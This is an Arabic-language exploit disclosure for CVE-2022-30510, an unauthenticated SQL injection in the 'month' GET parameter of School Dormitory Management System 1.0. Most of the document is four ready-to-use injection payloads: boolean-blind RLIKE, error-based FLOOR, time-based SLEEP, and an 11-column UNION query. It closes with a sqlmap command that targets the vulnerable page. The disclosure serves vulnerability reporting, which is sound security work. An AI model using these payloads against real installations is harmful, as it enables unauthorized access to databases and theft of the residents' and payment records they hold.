CVE-2022-30510

نظام إدارة سكن المدرسة 1.0 - حقن SQL غير مصدق عليه

عنوان الثغرة: نظام إدارة سكن المدرسة 1.0 - حقن SQL غير مصدق عليه

التاريخ: 2022-05-25

CVE: CVE-2022-30510

مكتشف الثغرة: عبدالعزيز سعد (@b4zb0z)

الصفحة الرئيسية للبائع: https://www.sourcecodester.com/

رابط البرنامج: https://www.sourcecodester.com/php/15319/school-dormitory-management-system-phpoop-free-source-code.html

الإصدار: 1.0

تم الاختبار على: LAMP, Ubuntu

---

[#] موقع الثغرة: $_GET['month'] في /dms/admin/reports/daily_collection_report.php:59

المعامل: month (GET) النوع: أعمى مبني على القيم البوليانية العنوان: MySQL RLIKE أعمى مبني على القيم البوليانية - جملة WHERE, HAVING, ORDER BY أو GROUP BY الحمولة: page=reports/daily_collection_report&month=2022-05' RLIKE (SELECT (CASE WHEN (2158=2158) THEN 0x323032322d3035 ELSE 0x28 END))-- UWOA

النوع: مبني على الخطأ

العنوان: MySQL >= 5.0 AND مبني على الخطأ - جملة WHERE, HAVING, ORDER BY أو GROUP BY (FLOOR)
الحمولة: page=reports/daily_collection_report&month=2022-05' AND (SELECT 1645 FROM(SELECT COUNT(*),CONCAT(0x716a6b6a71,(SELECT (ELT(1645=1645,1))),0x71766b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- UlyZ

النوع: أعمى زمني

العنوان: MySQL >= 5.0.12 AND أعمى زمني (استعلام SLEEP)
الحمولة: page=reports/daily_collection_report&month=2022-05' AND (SELECT 3409 FROM (SELECT(SLEEP(5)))uaoG)-- rTvo

النوع: استعلام UNION

العنوان: MySQL UNION استعلام (NULL) - 11 أعمدة
الحمولة: page=reports/daily_collection_report&month=2022-05' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a6b6a71,0x46716d4777627770436a6b56566f764c4d6f5a6b476b615041477742414f6979424e4f51744a5563,0x71766b7a71),NULL,NULL#

---

[#] الاستغلال باستخدام SQLMAP: sqlmap -u "http://localhost/dms/admin/?page=reports/daily_collection_report&month=2022-05" --dbms=mysql